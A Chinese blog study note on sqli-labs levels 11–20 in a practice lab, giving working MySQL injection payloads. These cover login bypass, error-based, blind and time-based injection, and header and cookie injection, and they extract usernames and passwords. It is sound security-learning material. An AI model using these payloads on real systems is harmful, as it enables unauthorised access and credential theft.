sqli-lab學習筆記(學習筆記)(11-20)
接下來的關卡是post的注入,之前的都是GET型注入
所以需要準備這個:
firfox+hackbar(firfox的外掛)
自己常犯得錯:
1.第15關length(database())我會下意識的加上select 變成length(select database())
2.用變形雙注入裡面前面是用or連線,不是用union連線
3.17關的update(1,concat('~',(select database()),'~'),0) 中的concat我會忘記,然後直接寫select語句就報錯了
4.post裡面的#我用%23代替會出現錯誤
less11 POST - Error Based - Single quotes- String (基於錯誤的POST型單引號字元型注入)
我們點Enable Post data複選框開啟post引數選項框
POST傳輸資料,我們也要知道我們傳輸的資料名字叫什麼按下F12
點這個然後再點我們需要查詢的元素,就可以快速定位該元素的位置,我們分別點下uername和password的兩個編輯框
然後我們構造這樣的引數
<strong>uname=1'&passwd=1 </strong>
讓它報錯
這裡我們需要把後面的語句給註釋掉(在post裡面#可以不用%23),並且讓這個查詢語句的結果永真
這裡就需要用到
or 1=1
or前後的條件只要有一個為真那麼這個語句的結果就為真 後面的1=1是肯定的,所以加上這個之後的條件是永真的
<strong>uname=1' or 1=1#&passwd=1</strong>
注入成功
除了用註釋我們還可以用閉合來完成注入
嘗試用這個來閉合並完成注入
uname=1' or '1'='1&passwd=1
但是失敗了
這是的語句為: SELECT username, password FROM users WHERE username='1' or '1'='1' and password='1' LIMIT 0,1
因為and的優先順序高於or ,所以and先運算 但是資料庫裡面沒有一個密碼為1的資料所以and的右邊是false,所以整個語句就是false
這個時候我們需要讓and 先運算 然後在讓or運算只要or另一邊是真的就行,
所以我們就在passwd裡面注入
<strong>uname=1&passwd=1' or '1'='1</strong>
這個時候你會想為什麼會自動顯示Dumb的資料,因為mysql_fetch_array只能返回第一行結果
所以你可以註釋掉後面的Limit自己加Lmit來實現遍歷後面的資料
<strong>uname=test&passwd=test' or '1'='1' limit 1,1#</strong>
less 12 POST - Error Based - Double quotes- String-with twist (基於錯誤的雙引號POST型字元型變形的注入)
咱們先輸入任意引數看看語言是怎麼樣子的
發現參加數貝雙引號和括號包括這的,這就很簡單了根據上一題的第二張思路,咱們直接在passwd裡面進行注入,然後可以在加個limit來控制輸出
<strong>uname=2&passwd=2") or 1=1#</strong>
當然也可以在uname裡面進行注入,思路跟上一題一樣閉合前面的過濾後面的,然後在中間加個 or 1=1 恆真就好 也可以家limit控制輸出
<strong>uname=2") or 1=1 limit 2,1 #&passwd=2</strong>
less 13 POST - Double Injection - Single quotes- String -twist (POST單引號變形雙注入)
這題跟上一題是一樣的只是,這題登入成功後不會有任何資訊的提示
未登入成功:
登入成功後:
<strong>uname=1&passwd=1') or 1=1 #</strong>
或者
<strong>uname=1') or 1=1#&passwd=1</strong>
那麼問題來了,為什麼沒有像以前那樣輸出帳號密碼呢
輸出都被註釋掉了,就不會有輸出帳號密碼。
如果前面幾關都有練習的話,你應會想到另一個思路
就是第5關雙注入的思路,用聚合函式通過報錯把我們需要的資訊顯示出來
我們先查下有多少個欄位
<strong>uname=1&passwd=1') or 1=1 order by 2 #</strong>
*注意這裡可別習慣性思維覺得前面幾關的欄位數都是3,這次肯定也是3.然而這裡的是2
直接給payload
<strong>uname=1&passwd=1') or 1=1 union select count(*),concat('*',(select database()),'*',floor(rand()*2)) as a from information_schema.tables group by a #</strong>
<strong>uname=1&passwd=1') or 1=1 union select count(*),concat('*',(select table_name from information_schema.tables where table_schema='security' limit 3,1),'*',floor(rand()*2)) as a from information_schema.tables group by a #</strong>
<strong>uname=1&passwd=1') or 1=1 union select count(*),concat('*',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),'*',floor(rand()*2)) as a from information_schema.tables group by a #</strong>
<strong>uname=1&passwd=1') or 1=1 union select count(*),concat('*',(select concat_ws(char(45),username,password) from users limit 1,1),'*',floor(rand()*2)) as a from information_schema.tables group by a #</strong>
Less-14:雙引號_post_字元型_雙注入_變形注入
這題跟上一題是一樣的只是把括號單引號變成雙引號
<strong>uname=1&passwd=1" or 1=1 union select count(*),concat('*',(select concat_ws(char(45),username,password) from users limit 1,1),'*',floor(rand()*2)) as a from information_schema.tables group by a #</strong>
Less-15:單引號_post_bool型/時間型盲注
加入永真是可以登入的,但是沒有返回資訊
有雙注入也一樣,報錯資訊也沒有
檢視下原始碼發現不僅把資訊的輸出給註釋掉了,把mysql的報錯也給註釋掉了
所以在這中情況下我們只能考慮盲注了,你應該還記得的吧
我們可以先判斷資料的名字的長度
<strong>uname=1&passwd=1' or length(database()) >8 #</strong>
所以確定資料庫名的長度為8
uname=1&passwd=1' or ascii(substr((select database()),1,1))>115 #
於是可以確定資料庫名的第一個字母是's',按照這個方法逐個去匹配,思路就是這樣,最好用指令碼去弄
Less-16:雙引號_post_bool型/時間型盲注
這題跟上面一樣的,就只是會顯示個登入提示的資訊,用報錯也不能爆出資訊,還是用盲注
payload:
<strong>uname=1&passwd=1") or if(ascii(substr((select database()) ,1,1))>114,1,sleep(5))#</strong>
Less-17:基於錯誤的_post_更新查詢注入
嘗試注入:
<strong>uname=1&passwd=1 or 1=1# </strong>
但是發現連頁面都沒有發什麼變化
注意到頁面上有 PASSWORD RESET
然後我們在框裡面輸入 User Name:admin New Password:nzjdsds
然後我們看下資料庫,發現密碼被修改了
猜測後臺的語句大概為:
UPDATA table SET password=’inputpass’ WHERE username=’inputuser’
作用:Update 語句用於修改表中的資料。
語法:UPDATE 表名稱 SET 列名稱 = 新值 WHERE 列名稱 = 某值
例句:修改users表中名為inputuser的資料
UPDATE users SET password = inputpass WHERE username = inputuser
注:其中“SET 列名稱 = 新值”新值可以為邏輯運算的結果(True or False)
看下原始碼發現真的用到了update
他的大概執行過程是接收到username和password後,首先根據username的值查詢資料庫返回username和password,然後再將原有的password值用接收到的值替換掉
這裡有一個問題是
username在接收時用了一個自定義的過濾函式check_input(),這個函式首先做了判空處理,合法就擷取username的前15個字元,然後是通過get_magic_quotes_gpc()的返回值判斷magic_quotes_gpc的值是on還是off
magic_quotes_gpc=on時, 不用對輸入和輸出資料庫的字串資料作addslashes()和stripslashes()的操作,資料也會正常顯示。如果此時對輸入的資料作了addslashes()處理,那麼在輸出的時候就必須使用stripslashes()去掉多餘的反斜槓。
magic_quotes_gpc=off 時,必須使用addslashes()對輸入資料進行處理,但並不需要使用stripslashes()格式化輸出,因為addslashes()並未將反斜槓一起寫入資料庫,只是幫助mysql完成了sql語句的執行。
最後,他用了ctype_digit()判斷username值的型別是否是數字,是字元就用mysql_real_escape_string對特殊字元進行轉義,不是就獲取遍歷的整數值
get_magic_quotes_gpc():本函式取得 PHP 環境配置的變數magic_quotes_gpc (GPC, Get/Post/Cookie) 值
addslashes():在每個雙引號(")前新增反斜槓
stripslashes():刪除由 addslashes() 函式新增的反斜槓
ctype_digit():檢測字元是不是都是數字
mysql_real_escape_string():轉義 SQL 語句中使用的字串中的特殊字元
intval():獲取變數的整數值,允許以使用特定的進位制返回。預設10進位制
顯然我們對Username並不好注入,當然你可以選擇弱口令爆破
這裡它沒有的password進行過濾,那麼我們通過password進行注入
對於update的注入有幾種思路,我們將他連同insert和delete一起來總結一下:
1、子查詢注入
子查詢注入原理即雙注入,對於dateup、delete和insert通常都是結合or的邏輯判斷,本題為例我們對update可以構造如下語句
這裡面的使用者名稱的話就需要我們自己去猜解,一般都是admin,root之類的預設帳號,這關可以在username裡面輸入,如果賬戶名存在的話頁面就會顯示成功資訊
獲取資料庫名:
<strong>uname=admin&passwd=' or (SELECT 1 FROM(select count(*),concat('*',(select database()),'*',floor(rand()*2)) as x from information_schema.tables group by x)as a) where username='admin'%23</strong>
①.裡面的select 1 from....解釋
select 1 from ..., sql語句中的1代表什麼意思?查出來是個什麼結果?
select 1 from table;與select anycol(目的表集合中的任意一行) from table;與select * from table 從作用上來說是沒有差別的,都是檢視是否有記錄,一般是作條件查詢用的。select 1 from 中的1是一常量(可以為任意數值),查到的所有行的值都是它,但從效率上來說,1>anycol>*,因為不用查字典表。 因此可以把1換成*也沒事
②.(自己的思考)把後面的as a去除出現了“Every derived table must have its own alias” 查了下這個錯誤
這句話的意思是說每個派生出來的表都必須有一個自己的別名
一般在多表查詢時,會出現此錯誤。
因為,進行巢狀查詢的時候子查詢出來的的結果是作為一個派生表來進行上一級的查詢的,所以子查詢的結果必須要有一個別名
把MySQL語句改成:select count(*) from (select * from ……) as total;
問題就解決了,雖然只加了一個沒有任何作用的別名total,但這個別名是必須的
然後我們獲取表名
<strong>uname=admin&passwd=' or (SELECT 1 FROM(select count(*),concat('*',(select table_name from information_schema.tables where table_schema='security' limit 3,1),'*',floor(rand()*2)) as x from information_schema.tables group by x)as a) where username='admin'%23</strong>
獲取列名
uname=admin&passwd=' or (SELECT 1 FROM(select count(*),concat('*',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),'*',floor(rand()*2)) as x from information_schema.tables group by x)as a) where username='admin'%23
獲取資料
uname=admin&passwd=' or (SELECT 1 FROM(select count(*),concat('*',(select concat_ws(char(45),username,password) from users limit 1,1),'*',floor(rand()*2)) as x from information_schema.tables group by x)as a) where username='admin'%23
這裡我們還有另外一中思路就是使用
updatexml()函式
updatexml(xml_target,xpath_expr,new_xml)函式是MYSQL對XML文件資料進行查詢和修改的XPATH函式,xml_target是目標xml,形式類似於節點目錄,xpath_expr是xml的表示式,new_xml是用來替換的xml,簡單來說就是,用new_xml把xml_target中包含xpath_expr的部分節點(包括xml_target)替換掉,比如,updatexml(<a><b><c>asd</c></b><e></e></a>,'//b',<f>abc</f>)執行結果是<a><f>abc</f><e></e></a>,其中'//b'的斜槓表示不管b節點在哪一層都替換掉,而'/b'則是指在根目錄下替換,此處xml_target的根目錄節點是a
利用updatexml()獲取資料的固定payload是:... or updatexml(1,concat(0x7e,(...)),0) ....updatexml()的xml_target和new_xml引數隨便設定一個數就行,這裡主要讓他報錯
獲取資料庫名:
uname=admin&passwd=' or updatexml(1,concat('~',(select database()),'~'),0)%23
獲取表名:
uname=admin&passwd=' or updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 3,1),'~'),0)%23
獲取欄位名:
uname=admin&passwd=' or updatexml(1,concat('~',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),'~'),0)%23
獲取資料:
uname=admin&passwd=' or updatexml(1,concat('~',(select concat('~',username,'~',password) from users limit 1,1),'~'),0)%23
但是這邊卻出現了You can't specify target table 'users' for update in FROM clause錯誤
不能先select出同一表中的某些值,再update這個表(在同一語句中)。
也就是說將select出的結果再通過中間表select套一遍,這樣就規避了錯誤,其實之前在子查詢注入中也有用到此方法,同時,還要給多加的一重select賦一個別名
最後的payload:
uname=admin&passwd=' or updatexml(1,concat('~',(select * from(select concat_ws(char(45),id,username,password) from users limit 0,1)as a),'~'),0)%23
Less-18:基於錯誤的_post_使用者代理_頭部注入
看標題就知道,這道題主要是通過修改User Agent獲取他的報錯資訊,之前直接改password的方法肯定是不行了,從原始碼可以看出來password和
username都進行了過濾
修改User Agent常用的工具有burp,Tamper Data(火狐外掛)
在這裡我就用Tamper Data,結合之前的updatexml報錯方法修改他的User-Agent
當這個怎麼判斷存在uagent頭存在注入呢,是因為他獲取了我們的ip,猜它應該也獲取了uagent?當然不靠普,這個靠模糊測試吧(其實就是靠發單引號啊什麼的用程式去測試返回結果),還有請使用xxx瀏覽器訪問的,有可能獲取了uagent,但也可能只是前端的js來處理
首先這裡要輸入正確的賬號和密碼才能繞過賬號密碼判斷,進入處理uagent部分,這裡跟我們現實中的註冊登入再注入是比較貼合,這裡我們輸入正確的賬號密碼就輸出我們的uagent
在這裡它獲取了我們的User-Agent,那我們就嘗試用User-Agent注入
開啟Tamper Data並按下Start Tamper
然後帳號密碼輸入admin,admin,然後在跳出的對話方塊內點選Tamper
把User-Agent改成一個斜槓
效果圖:
是不是很熟悉,然後把User-Agent改成
2018.7.2留下的話: ①' or updatexml(0,concat('%',database(),'%'),0))# 這個是我現在改的語句,因為現在回來看感覺之前的語句跟前面的篇章有點小脫節而且之前寫的語句雖然可以 但是 發現有一些可以去掉的東西,如果在的話可能會影響與前面知識的接軌和閱讀。圖片的話就不更新了 大家可以看看之前的語句是什麼樣的
②然後就是SQL語句猜測的部分現在補充下 1.先輸入'#出現這個錯誤。2.後來嘗試到')#就出現了關於這個錯誤的連結地址:https://blog.csdn.net/sinat_35134348/article/details/53671104 3.然後就猜測語句應該是包括(''),讓你在這基礎上用updatexml語句進行報錯處理
' or updatexml(0,concat('%',database(),'%'),0))#
這裡的與前文的
' or updatexml(1,concat('~',(select database()),'~'),0)%23
有點不同,要注意,如果按照前文的來寫的話會出現Column count doesn't match value count at row 1錯誤 ,原因是因為SQL語句裡列的數目和後面的值的數目不一致,因為我們資料有3個欄位所以要有三個欄位所以就是updatexml(1,2,3)
這裡要注意:
1.#不能用%23來換
2.updatexml的第一個和三個欄位可以是任何比如‘1’, 0等
算了我還是用burp吧,方便點,不會用burp的同學自行百度也可以在我部落格下面留言
然後接下來獲取表名
' or updatexml(0,concat('%',(select table_name from information_schema.tables where table_schema='security' limit 3,1),'%'),0))#
獲取欄位名:
' or updatexml(0,concat('%',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),'%'),0))#
獲取資料:
',updatexml(0,concat('~',(select concat(username,'~',password) from users limit 1,1)),0),0)#
Less19 POST - Header Injection - Referer field - Error based (基於頭部的Refe
rer POST報錯注入)
這關跟18關差不多,就是有點稍微的變化,這關改的是Referer
先搜尋資料庫的名稱:
'or updatexml('1',concat('~',database()),0),'~')#
查表名:
'or updatexml('1',concat('~',(select table_name from information_schema.tables where table_schema='security' limit 3,1)),0),'~')#
查欄位名:
'or updatexml('1',concat('~',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1)),0),'~')#
獲取資料:
'or updatexml('1',concat('~',(select concat(username,'~',password) from users limit 1,1)),0),'~')#
在這裡還有另一種函式extractvalue也是可以獲取的,思路是一樣的
獲取資料庫名:
'or extractvalue(1,concat('~',(select database()))),'')#
獲取表名:
'or extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 3,1))),'')#
獲取欄位名:
'or extractvalue(1,concat('~',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1))),'')#
獲取資料:
'or extractvalue(1,concat('~',(select concat('~',username,password) from users limit 1,1))),'')#
less 20 POST - Cookie injections - Uagent field - Error based (基於錯誤的cookie頭部POST注入)
我們先用admin來登陸下,注意注入前需要先登入有了cookie之後在進入網頁進行注入
檢視下原始碼
那我們就在cookies裡面進行注入下
猜測下開始語句
我是現在後面加'order by 33#出現
後面order by 33肯定是錯誤的因為不可能有那麼多欄位,如果報了order by 33的錯說明前面的語句是對的。如果前面的語句是錯的就會報前面的錯誤例如這樣
那我們就明白語句需要這麼寫 uname=admin' +注入語句+#
判斷下欄位數
uname=admin'order by 3#
可以看出來頁面響應是正常的
接下來就是跟最前面的幾關十一月的,剛開始查詢資料庫名的時候頁面沒反應,然後在admin前面加個-報錯讓他顯示資料庫的名稱
查資料庫名:
uname=-admin'union select 1,2,database()#
查詢表名:
uname=-admin'union select 1,2,table_name from information_schema.tables where table_schema='security' limit 3,1#
查詢欄位名:
uname=-admin'union select 1,2,column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1#
查詢資料:
uname=-admin'union select 1,2,concat('~',username,password,'~') from users limit 1,1#
相關推薦
sqli-lab學習筆記(學習筆記)(11-20)
接下來的關卡是post的注入,之前的都是GET型注入 所以需要準備這個: firfox+hackbar(firfox的外掛) 自己常犯得錯: 1.第15關length(database())我會下意識的加上select 變成length(select da
w的學習筆記05.(2019年1月11日)
回顧 陣列的方法 join() concat slice() splice() sort(); sort(compare); push pop尾進 尾出---》彈夾&
笨方法學習Python(11-20)
python以下學習內容以python2為基準11、提問print "How old are you?", age = raw_input() print "So, you're %r old." % age python ex11.py How old ar
【躍遷之路】【592天】程式設計師高效學習方法論探索系列(實驗階段349-2018.09.20)
@(躍遷之路)專欄 【躍遷之路】獎勵金計劃正式開始 從2018.7.1起,【躍遷之路】獎勵金計劃正式起航,從今以後,, 每月1日,我會將自己個人上月收入的1%計入【躍遷之路】獎勵金池,積累到足夠金額後,將適時用於獎勵那些雖然身處困境,卻依然不放棄努力,通過堅持,不斷
學習Python第一天(2018年12月11號)零散概念
Python基本語法元素 摩爾定律(計算機中的一個重要的預測法則): 程式設計技巧(1、語法 2、套路 3、實踐) 單位面積積體電路上可容納的電晶體的數量約每兩年翻一番 程式設計語言將會成為生存技巧 原始碼通過編譯器白城目的碼 語言可以分為: 靜態語言:編譯 c C++
【躍遷之路】【653天】程式設計師高效學習方法論探索系列(實驗階段410-2018.11.27)
@(收集箱(每日一記,每週六整理))專欄 實驗說明 從2017.10.6起,開啟這個系列,目標只有一個:探索新的學習方法,實現躍遷式成長 實驗期2年(2017.10.06 - 2019.10.06) 我將以自己為實驗物件。 我將開源我的學習方法,方法不斷更新迭代,
週記之期中已至(2018/10/29-2018/11/5)
開學至今,已有倆月,課程基本都已過半,意味著前一半的時光一去不復返,後一半的時光要承受著更沉重的負擔,硬體的課很多很難懂很抽象,《嵌入式系統》、《計算機組成原理》,還有很多專業性很強的課,《計算機網路》、《Linux作業系統》、《.net開發》還有《專業外語》,總之,要著手準備複習。 今天上的《計算機組成原
安裝TensorFlow隨筆(windows下Anaconda3+tensorflow1.11.0)
背景: 已安裝18年最新版Anaconda3,5.3版本python 3.7 version,釋出於2018年9月28日 conda版本為4.5.11,準備安裝TensorFlow~ 1.檢視conda版本 準備工作:提前新增好環境變數(不贅述),記得包括Ana
c語言(11.20)
if遇;結束 switch遇break結束 switch(表示式) { case常量表達式1:語句組1【break;】 case常量表達式2:語句組2【break;】 。。。 default:語句組【break;】 } 1。switch後的表示式可以是整型或字元型,case是常量表達式且所有
idea 2018註冊碼(親測可用2018.11.5)
之前我用的啟用方式:License Server,當然很多的地方都寫著 永久啟用,這個我表示不相信 大不了我過段時間換一個啟用,mmp。 今天早上我的idea啟用又過期了,我有找了找,試了試,能用的是下面這個 IntelliJ IDEA 註冊碼: G91XMO9AVI-
Effictive C++條款整理計劃(11-20)
11. 在operator=中處理自我賦值 該條款說的是,在operator函式中,應該先判斷是否在進行自賦值,如果是自賦值,應該直接返回*this,而不是繼續進行自我賦值 class Student { public: Student(int age):m_age(age)
100個java經典例項(11-20)
1、按鈕演示:提供一個按鈕演示,如何實現按鈕和一個按鈕失效的 package com.day02; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; import java.aw
C++Primer第五版 第二章習題答案(11~20)
2.11 涉及知識點: 宣告:使得名字為程式所知,如果想使用該變數,則必須實現包含其宣告。宣告會確定變數的名字和型別。 定義:創建於名字關聯的實體。定義會申請儲存空間,可能會賦予初始值。 如果想宣告一
Android 自己收集的開源專案和文章集合(持續更新至2018.11.21)
2017-12-21 2017-12-22 2017-12-23 6.仿小紅帽動態導航頁框架 將動畫和 viewpager 結合起來。當你滑動 viewpager 的時候,你也在控制動畫的當前幀。 就好像
Java程序猿的JavaScript學習筆記(12——jQuery-擴展選擇器)
type write number article mat 我們 content ace val 計劃按例如以下順序完畢這篇筆記: Java程序猿的JavaScript學習筆記(1——理念) Java程序猿的JavaScript學習筆記(2——屬性復制和繼承) Jav
如何輸出格式化的字符串(學習筆記四)
linux python 格式化整數 浮點數 如何輸出格式化的字符串(學習筆記四)我們經常會輸出類似 ‘親愛的xxx你好!你xx月的話費是xx,余額是xx‘ 之類的字符串,而xxx的內容都是根據變量變化的,所以,需要一種簡便的格式化字符串的方式。在Python中,采用的格式化方式和C語言是一致的,
java 學習筆記2 面向對象(上)
awr ges abs nal mage 有效 面向對象 ima col 類和對象 類是某一批對象的抽象,可以把類理解成某種概念。對象是一個具體存在的實體。類和對象是面向對象的核心。 類定義的是多個實例的特征,類不是具體存在,實例才是具體存在。 定義類(class)的語法:
【學習筆記】SIFT尺度不變特征 (配合UCF-CRCV課程視頻)
rri cnblogs -o mask 畫出 blocks http ucf 產生 SIFT尺度不變特征 D. Lowe. Distinctive image features from scale-invariant key points, IJCV 2004 -Lect
fireflyLogin網絡工具設計模式——類工廠(學習筆記)
nbsp dict var class requests result ini 業務層 指向 一、RequestKeyID(業務id) 二、FireflyRequestHelper(對外提供初始化接口,提供網絡回調代理方法,供FireflySafeLoginHelper使用
Odoo10學習筆記三:模型(結構化的應用數據)、視圖(用戶界面設計)
其他 描述 用戶界面 列表 支持 字段 界面設計 允許 學習 一:模型 1:創建模型 模型屬性:模型類可以使用一些屬性來控制它們的一些行為: _name :創建odoo模型的內部標識符,必含項。 _description :當用戶界面顯示模型時,一個方便用戶的模型記錄標題。